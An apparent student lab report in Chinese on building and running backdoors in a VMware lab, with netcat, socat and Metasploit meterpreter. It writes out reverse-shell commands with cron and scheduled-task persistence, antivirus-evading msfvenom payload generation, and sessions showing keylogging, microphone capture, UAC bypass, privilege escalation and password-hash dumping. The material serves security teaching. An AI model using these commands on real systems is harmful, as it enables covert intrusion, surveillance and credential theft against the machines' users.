20175314 2020-3 《網絡對抗技術》Exp2 后門原理與實踐 Week4
一、實踐目標
1、實踐對象
- 基於VMware虛擬機上運行的64位Windows7系統與64位KaliLinux系統
- 傳統配方的pwn可執行文件
2、實踐內容
- 使用netcat獲取主機操作Shell,cron啟動;
- 使用socat獲取主機操作Shell, 任務計划啟動;
- 使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell;
- 使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權;
- 可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell。
二、基礎知識
1、實踐要求
- 熟悉后門的概念
- 使用netcat實現Win,Linux之間的后門連接
- 掌握meterpreter的應用
- 了解MSF POST模塊的應用
- 學會Win,Linux的后門啟動方式
2、指令/參數
-p
使用的payloa(有效載荷,被運輸的東西),這里windows/meterpreter/reverse_tcp
就是一段shellcode-x
使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中-e
使用的編碼器,用於對shellcode變形,為了免殺-i
編碼器的迭代次數。如上即使用該編碼器編碼5次-b
badchar是payload中需要去除的字符LHOST
反彈回連的IPLPORT
回連的端口-f
生成文件的類型>
輸出到哪個文件
3、預備知識
后門概念
- 所謂后門,就是不經過正常認證流程而訪問系統的通道
- 后門宿主:
- 編譯器留后門
- 操作系統留后門
- 應用程序中留后門
- 潛伏於操作系統中或偽裝為特定應用的專用后門程序
后門工具
-
netcat(nc/ncat):底層工具,進行基本的TCP UDP數據收發。常被與其他工具結合使用,起到后門的作用
- Linux一般自帶netcat,
man netcat
或man nc
可查看其使用說明,Windows需要下載后解壓到C:\Windows\System32
文件夾
- 詳細資料參見the official GNU Netcat project homepage
- Linux一般自帶netcat,
-
soCat:Netcat++,超級netcat工具,可以建立雙向的加密的數據通道,任何代理、轉發等功能都可以用該工具實現
-
Meterpreter:msfvenom生成的后門可執行文件
- Meterpreter是Metasploit框架中的一個擴展模塊,作為溢出成功以后的攻擊載荷使用,攻擊載荷在溢出攻擊成功以后給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpreter shell的鏈接
- Meterpreter shell作為滲透模塊有很多有用的功能,比如添加一個用戶、隱藏一些東西、打開shell、得到用戶密碼、上傳下載遠程主機的文件、運行cmd.exe、捕捉屏幕、得到遠程控制權、捕獲按鍵信息、清除應用程序、顯示遠程主機的系統信息、顯示遠程機器的網絡接口和IP地址等信息
- 對於Meterpreter的基本功能可以通過help查詢幫助菜單得到
-
meterpreter的生成
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
#詳細定義參數,-i 5意為使用編碼器編碼了五次,據說編碼次數越多免殺概率越大,但是相應的生成時間也越長,可執行文件的大小也會隨之發生變化
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 `PORT=443 -f exe > meter_backdoor.exe
#這是簡化版的生成指令
實踐原理
-
Meterpreter典型平台
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
-
Metaspolit的msfvenom指令
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user's desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play an audio file on target system, nothing written on disk
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
預備知識
-
Windows獲取Linux Shell
-
Windows運行監聽指令
nc.exe -l -p 5314
-
Linux反彈連接Windows
nc 192.168.40.128 5314 -e /bin/sh
-
-
Linux獲取Windows Shell
-
Linux運行監聽指令
nc -l -p 5314
-
Windows反彈連接Linux
nc.exe 192.168.40.130 5314 -e cmd.exe
-
-
利用ncat傳輸文件
-
Kali生成后門程序
-
Windows進入接收文件模式,文件傳輸成功
-
三、實踐步驟
1、使用netcat獲取主機操作Shell,cron啟動
- Windows運行監聽指令
nc.exe -l -p 5314
- Linux反彈連接,cron啟動
36 * * * * /bin/netcat 192.168.40.128 5314 -e /bin/sh
(時間設置-分/時/日/月)
2、使用socat獲取主機操作Shell, 任務計划啟動
-
Linux運行監聽指令
socat - tcp:192.168.40.128:5314
-
Windows反彈連接,設置任務計划啟動
-
打開計算機管理器創建任務
-
新建操作,操作為啟動
socat.exe
tcp-listen:5314 exec:cmd.exe,pty,stderr
-
設置新的觸發器,修改時間,勾選
已啟用
-
開啟
taskeng.exe
,狀態正在運行
-
Kali Linux
socat - tcp:192.168.40.128:5314
(WindowsIP)
-
3、使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
- 這里使用代碼塊詳細注釋
root@kalimark:/home/mark20175314/桌面/20175314Mark/Exp2# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.130 LPORT=5314 -f exe > 20175314_backdoor.exe
# 這里的IP地址(LHOST)為控制端IP(KaliIP),生成基於Windows平台(X64?)/使用meterpreter組件/使用TCP反彈連接的方式的執行文件20175314_backdoor.exe,這里沒有設置編碼次數
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
# 這里應該是可執行文件的占用空間大小,可能Shellocode碼/具體參數/編碼器編碼次數都會有一定影響
root@kalimark:/home/mark20175314/桌面/20175314Mark/Exp2# msfconsole
[-] ***rting the Metasploit Framework console...|
[-] * WARNING: No database support: No database YAML file
[-] ***
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
# 這里的圖案豐富有趣,我想起了在實驗樓學習到的指令printerbanner/toilet/figlet
=[ metasploit v5.0.75-dev ]
+ -- --=[ 1970 exploits - 1088 auxiliary - 339 post ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
# 據說反彈連接的方式較為安全一般不會被防火牆發現
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.40.130
# 這里的IP地址(LHOST)依然是控制端的(KaliIP)
LHOST => 192.168.40.130
msf5 exploit(multi/handler) > set LPORT 5314
LPORT => 5314
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.40.130 yes The listen address (an interface may be specified)
LPORT 5314 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.40.130:5314
# 在控制端只會執行到這里,然后我們就要在被控制端(Windows7)打開后門程序(20175314_backdoor.exe)
# 在實驗過程中我們可以在控制端后門程序可執行目錄下執行指令20175314_backdoor.exe或直接雙擊打開
# 那么它又是怎么從控制端到被控制端的呢?我嘗試過使用指令nc傳輸文件,但是不知為何ncat的指令在官網下載的netcat上使用屢遭失敗,因此我才知道nc/ncat的區別(我一直以為沒什么區別,確實也沒什么大的區別,但是不知道為什么就是造成了問題3)
# 但是最后還是簡單粗暴地使用文件拖拽的方式先把它復制到了主機的桌面上,在這個步驟前一定要關閉所有殺毒軟件,特別是Windows Defender(防火牆和實時保護)
# 在我第一次嘗試時忘記關閉Windows Defender帶來了慘痛教訓(問題4),后來兩台虛擬機都仙逝了,重建后不知為何明明VMTools還在正常上班,但是文件拖拽功能掉線了,所以共享文件夾終於派上了用場
# 再看實際應用中,這兩種方式其實都是可以實現,但是似乎直接復制后門程序(我使用的方式)更簡單,可以通過木馬綁定工具將后門程序直接綁定在正常軟件上在用戶不知不覺中打開連接,而nc/ncat並不是每一個Windows用戶都有的,Linux用戶另當別論
[*] Sending stage (180291 bytes) to 192.168.40.128
# 這里只要打開后門程序就會出現,好像即使以前開啟過這里還要再重新開啟一次,所以順序應該是exploit->backdoor.exe
[*] Meterpreter session 1 opened (192.168.40.130:5314 -> 192.168.40.128:49163) at 2020-03-16 19:14:57 +0800
meterpreter > dir
# 查看當前文件夾下的所有文件,Windows的ls?我知道Linux的ls功能強大但是好像Windows的dir也具有一些拓展功能
Listing: C:\Users\Mark\Desktop\ncat
===================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 73802 fil 2020-03-16 19:11:24 +0800 20175314_backdoor.exe
100666/rw-rw-rw- 1261568 fil 2020-03-16 15:50:30 +0800 libeay32.dll
100777/rwxrwxrwx 73802 fil 2020-03-16 15:44:08 +0800 meter_backdoor.exe
100666/rw-rw-rw- 970912 fil 2020-03-16 15:50:30 +0800 msvcr120.dll
100777/rwxrwxrwx 386048 fil 2020-03-16 15:50:30 +0800 ncat.exe
100666/rw-rw-rw- 295424 fil 2020-03-16 15:50:30 +0800 ssleay32.dll
# 這里顯示的r/w/-是指當前用戶對此文件的權限,說到權限讓我們繼續往下看如何實現提權
4、使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
- 這里使用代碼塊詳細注釋
獲取shell碼
meterpreter > shell
Process 2656 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Users\Mark\Desktop\ncat>dir
dir
������ C �еľ�û�б�ǩ��
��������� DC4D-E871
C:\Users\Mark\Desktop\ncat ��Ŀ¼
2020/03/16 19:11 <DIR> .
2020/03/16 19:11 <DIR> ..
2020/03/16 19:11 73,802 20175314_backdoor.exe
2016/03/16 23:26 1,261,568 libeay32.dll
2020/03/16 15:56 73,802 meter_backdoor.exe
2013/11/18 13:07 970,912 msvcr120.dll
2016/03/29 23:40 386,048 ncat.exe
2016/03/16 23:26 295,424 ssleay32.dll
6 ���ļ� 3,061,556 ��
2 ��Ŀ¼ 52,625,907,712 ������
# 亂碼不一定是意味着error,真正的出現error一般都是堂堂正正地報錯
測試錄音
Usage: record_mic [options]
Records audio from the default microphone.
# 首先目標機器要具有麥克風,VMware是支持這樣的功能的,我經常在主機權限中看到VMware在使用我的麥克風有一點疑惑
OPTIONS:
-d <opt> Number of seconds to record (Default: 1)
-f <opt> The wav file path (Default: '/home/mark20175314/桌面/20175314Mark/Exp2/[randomname].wav')
-h Help Banner
-p <opt> Automatically play the captured audio (Default: 'true')
meterpreter > record_mic -d -8 -f capture_audio_exp2_test.wav
# 錄制8s多了好像說什么不足(存儲空間還是內存)
[*] Starting...
[-] webcam_audio_record: Operation failed: Not enough storage is available to process this command.
meterpreter > record_mic -1 -8 -f capture_audio_exp2_test.wav
[*] Starting...
[*] Stopped
Audio saved to: /home/mark20175314/桌面/20175314Mark/Exp2/capture_audio_exp2_test.wav
# 這里告訴我們錄制的音頻保存的路徑,是不是有竊聽的感覺...
獲取攝像頭
meterpreter > list #查看攝像頭
meterpreter > webcam_snap #通過攝像頭拍照
meterpreter > webcam_stream #通過攝像頭視頻
[-] Target does not have a webcam
# 虛擬機沒有連接主機的攝像頭,如果目標機器是主機的話還是可以體驗用鏡子照鏡子的快樂的
屏幕截圖
meterpreter > screenshot
Screenshot saved to: /home/mark20175314/桌面/20175314Mark/Exp2/JpiPTPaU.jpeg
# 這里告訴我們截取的圖片保存的路徑,畫質有待提升還有一點疑問:據我所知Windows截圖時默認都是PNG格式的,這里是不是在傳輸過程中自動轉換成了jpeg格式?還是msfvenom指令中screenshot工具的截圖方式是jpeg?
獲取遠程桌面
meterpreter > run post/windows/manage/enable_rdp
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20200316203514_default_192.168.40.128_host.windows.cle_695632.txt
# 這里為什么保存的是一個txt文件?是錯誤報告嗎?
獲取擊鍵記錄
# 先在目標機器的控制台執行一些指令
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
f<^H>dir<CR>
cla<^H>eat<^H>r<CR>
20175314<Caps Lock>M<Caps Lock>ark<CR>
# 這算不算是鍵盤鈎子?那就很厲害了,如果我理解能力夠強還是能夠看出來被攻擊用戶到底使用了哪些按鍵
查看進程/進程遷移
-
讓我們先看看別攻擊機器的進程是怎么樣的,后門程序的位置格外顯眼
-
這時候我們是不是就要考慮怎樣才能夠避免被被攻擊用戶直接關掉,於是進程遷移來了
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
164 636 WmiPrvSE.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wbem\WmiPrvSE.exe
280 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe
324 516 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
356 348 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
408 348 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe
420 400 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
456 400 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
512 796 audiodg.exe x64 0
516 408 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\services.exe
524 408 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
532 408 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.exe
580 628 taskmgr.exe x64 1 WIN-NU3F9PBPO7F\Mark C:\Windows\System32\taskmgr.exe
588 420 conhost.exe x64 1 WIN-NU3F9PBPO7F\Mark C:\Windows\System32\conhost.exe
636 516 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
700 516 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
796 516 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
860 516 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
892 516 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
924 2428 20175314_backdoor.exe x86 1 WIN-NU3F9PBPO7F\Mark C:\Users\Mark\Desktop\ncat\20175314_backdoor.exe
1048 516 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1152 516 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1188 516 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1344 516 msdtc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\msdtc.exe
1404 516 VGAuthService.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe
1432 516 vmtoolsd.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
1752 516 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1940 636 WmiPrvSE.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\wbem\WmiPrvSE.exe
1992 516 dllhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\dllhost.exe
2288 516 taskhost.exe x64 1 WIN-NU3F9PBPO7F\Mark C:\Windows\System32\taskhost.exe
2404 860 dwm.exe x64 1 WIN-NU3F9PBPO7F\Mark C:\Windows\System32\dwm.exe
2428 2372 explorer.exe x64 1 WIN-NU3F9PBPO7F\Mark C:\Windows\explorer.exe
2540 2428 vm3dservice.exe x64 1 WIN-NU3F9PBPO7F\Mark C:\Windows\System32\vm3dservice.exe
2548 2428 vmtoolsd.exe x64 1 WIN-NU3F9PBPO7F\Mark C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
2680 2428 cmd.exe x64 1 WIN-NU3F9PBPO7F\Mark C:\Windows\System32\cmd.exe
2760 516 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\SearchIndexer.exe
2856 516 wmpnetwk.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Program Files\Windows Media Player\wmpnetwk.exe
3040 516 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
- 沒有打開IE那就HOOK到控制台上吧
meterpreter > migrate 2680
# 我們找到cmd.exe的PID(操作系統里指進程識別號,也就是進程標識符)然后migrate (from 924 to) 2680
[*] Migrating from 924 to 2680...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 2680
# 這里顯示遷移成功后的當前PID(換個說法可以說是進程的身份證號)
提權獲取密碼
meterpreter > background
[*] Backgrounding session 1...
# 記住這個數字(我的是1)
msf5 exploit(multi/handler) > search bypassuac
# 這里是使用background命令之后就自動退出到msf的命令行了
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass
1 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent Yes Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
2 exploit/windows/local/bypassuac_dotnet_profiler 2017-03-17 excellent Yes Windows Escalate UAC Protection Bypass (Via dot net profiler)
3 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
4 exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Yes Windows UAC Protection Bypass (Via FodHelper Registry Key)
5 exploit/windows/local/bypassuac_injection 2010-12-31 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection)
6 exploit/windows/local/bypassuac_injection_winsxs 2017-04-06 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
7 exploit/windows/local/bypassuac_sdclt 2017-03-17 excellent Yes Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
8 exploit/windows/local/bypassuac_silentcleanup 2019-02-24 excellent No Windows Escalate UAC Protection Bypass (Via SilentCleanup)
9 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack)
10 exploit/windows/local/bypassuac_vbs 2015-08-22 excellent No Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
11 exploit/windows/local/bypassuac_windows_store_filesys 2019-08-22 manual Yes Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
12 exploit/windows/local/bypassuac_windows_store_reg 2019-02-19 manual Yes Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac
msf5 exploit(windows/local/bypassuac) > set session 1
# 這里的1就是使用background查看到的session數值
session => 1
msf5 exploit(windows/local/bypassuac) > run
[*] Started reverse TCP handler on 192.168.40.130:5314
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (180291 bytes) to 192.168.40.128
[*] Meterpreter session 2 opened (192.168.40.130:5314 -> 192.168.40.128:49165) at 2020-03-16 20:31:48 +0800
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 6c0fa85c4e0b4fb895071f08844eea46...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Mark:1000:aad3b435b51404eeaad3b435b51404ee:4ac6ce1412382e6ae38b323fa08fc50d:::
# 確實顯示出目標機器各個用戶名了
補充實用指令(詳見實踐原理)
meterpreter > uictl [enable/disable] [keyboard/mouse/all] #開啟或禁止鍵盤/鼠標
meterpreter > uictl disable mouse #禁用鼠標
meterpreter > uictl disable keyboard #禁用鍵盤
meterpreter > execute #在目標機中執行文件
meterpreter > execute -H -i -f cmd.exe # 創建新進程cmd.exe,-H不可見,-i交互
meterpreter > kill <pid值> #殺死進程
meterpreter > clearav #清除windows中的應用程序日志、系統日志、安全日志
meterpreter > run post/windows/gather/checkvm #是否虛擬機(根據系統調整Windows還是Linux)
meterpreter > run post/windows/gather/forensics/enum_drives #查看分區
meterpreter > run post/windows/gather/enum_applications #獲取安裝軟件信息
meterpreter > run post/windows/gather/dumplinks #獲取最近的文件操作
meterpreter > run post/windows/gather/enum_ie #獲取IE緩存
meterpreter > run post/windows/gather/enum_chrome #獲取Chrome緩存
meterpreter > run post/windows/gather/enum_patches #補丁信息
meterpreter > run post/windows/gather/enum_domain #查找域控
meterpreter > run post/windows/gather/enum_patches #查看補丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit
5、可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
-
首先來到全是英文的Exploit Database官網物色一段和自己一見鍾情的shellcode碼
-
就用這個大家用過都說好的
2018-05-14
吧
-
然后就是復習實驗一第三個步驟的過程(如果選擇的是64位的shellcode還可以復習逆向進階)
-
使用正宗的傳統工藝注入我們的shellcode和首地址到這個16進制文件input里
-
還是原來的配方還是熟悉的味道
# 這一步需要打開兩個端口,然后細細品讀從Exploit下載的C語言代碼內容並找到關鍵的核心信息
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 # 回送地址,由shellcode的內容選擇,下載時文件名標注上有
set LPORT 4444 # 端口號,由shellcode的內容選擇,下載時文件名標注上有
show options
exploit
四、實踐報告
1、遇到的問題
-
(1)Windows能夠Ping通Kali,Kali不能Ping通Windows
-
(1)解決方案:首先要關閉Windows的防火牆,如果還不可以則檢查以下設置
-
如果還不可以則檢查Kali的相關服務器是否完整且在線
-
(2)X86平台不能兼容X64的程序?
-
(2)解決方案:在32位Win7系統上打不開64位Kali創建的后門程序是因為這樣的嗎?事實上這並不是主要問題,但是為了標准環境我還是重新安裝了一個64位的Win7系統並證明了這個事實,問題還是出在了netcat傳文件的問題上,原來的傳文件實際上好像只是在目標機器上創建了一個空的可執行文件,這里文件大小為0,詳見問題(3)
-
(3)netcat竟然傳輸文件失敗?
-
(3)解決方案:我還以為這可能是件很玄學的事情,因為我之前是到官網下載的netcat,我也一直以為netcat(nc)和ncat沒區別,可是就當我無從下手的時候使用ncat傳輸就成功了,事實上ncat彌補了netcat缺乏加密和身份驗證的能力這方面的缺陷
-
(4)在通過主機文件系統復制后門程序的時候沒有關閉殺毒軟件會怎樣?
- 直接宕機彈出窗口
- 嘗試重啟主機系統重啟VMware
- 直接宕機彈出窗口
-
(4)解決方案:因為我的電腦里沒有安裝第三方的防護軟件一直都用的是系統自帶的Windows Defender,但是它又一直缺乏存在感,以致我確實忘了它小小的身體存在大大的能量,因為文件來自於Kali系統並最后送往了Windows系統,所以兩台虛擬機雙雙陣亡,我沒有找到有效的能夠解決我問題的方法於是我打開了之前備份好打包在ZIP里的的Kali系統並再一次安裝了一小時以前剛剛安裝好的64位Windows系統,無情關閉主機的實時保護,但是實驗結束后必須要記得還原
-
(5)使用完整的指令生成meterpreter后門程序編碼錯誤
-
(5)解決方案:剛准備和這個問題死磕到底的我一不小心試了一下簡化版的指令然后成功了,然后就快樂地繼續往下做實驗了
2、基礎問題回答
-
(1)例舉你能想到的一個后門進入到你系統中的可能方式?
-
下載盜版軟件/木馬程序被植入后門,點擊釣魚網站/虛假郵件被植入后門等等。我們在日常生活中應該事事謹慎,隨着經濟社會和互聯網技術的發展進步,個人信息的泄漏會嚴重擾亂正常的生產生活秩序,我們應該非常重視信息安全的意義並且每個人都應該掌握基本保障自己信息安全的方法。
-
(2)例舉你知道的后門如何啟動起來(win及linux)的方式?
-
Windows開機自啟動或者用戶手動開啟,實驗過程也有利用crontab或Windows計划任務來定時定向使用反彈連接的方式與攻擊方連接。
-
(3)Meterpreter有哪些給你映像深刻的功能?
-
攝像功能/擊鍵記錄功能/關閉進程功能/清理文件(日志)的功能/獲取緩存功能/查看補丁信息功能。監控攝像可以知道用戶在現實生活干什么,獲取擊鍵記錄從可以竊取用戶的信息(在用戶輸入賬號、密碼時被記錄下來),關閉進程和清理文件都能夠嚴重破壞用戶信息系統對用戶造成一定損失,獲取緩存功能或是查看補丁信息都能讓用戶的信息系統處於非常危險的狀態。
-
(4)如何發現自己有系統有沒有被安裝后門?
-
安裝權威的殺毒軟件,保證它時時刻刻正常穩定運行的同時還要定時定期對電腦進行查殺。
3、實驗收獲與感想
- 本次實驗具有現實意義,我本來對自己的信息系統很有信心,但是當自己都能夠在理想化的情況下實現簡單基本的后門攻擊后,我就感覺到其實我們的隱私信息還有系統安全並沒有那么固若金湯,但我還是相信網絡安全公司和Microsoft勤勤懇懇地修復補丁在一定程度上能夠保護每一位普通用戶的個人信息安全,但是只有通過自己掌握一定的相關知識和技能才能夠保證自己的信息系統更獨立更安全,不用完全依賴於第三方(我們都不知道第三方自己有沒有設置后門或者是黑客什么時候攻擊他們的服務器成功了)。
- 完成了這個實驗我更加期待怎樣讓自己的后門程序避免被殺毒軟件檢測和怎樣在被攻擊的時候做些什么進行實時防衛和反擊。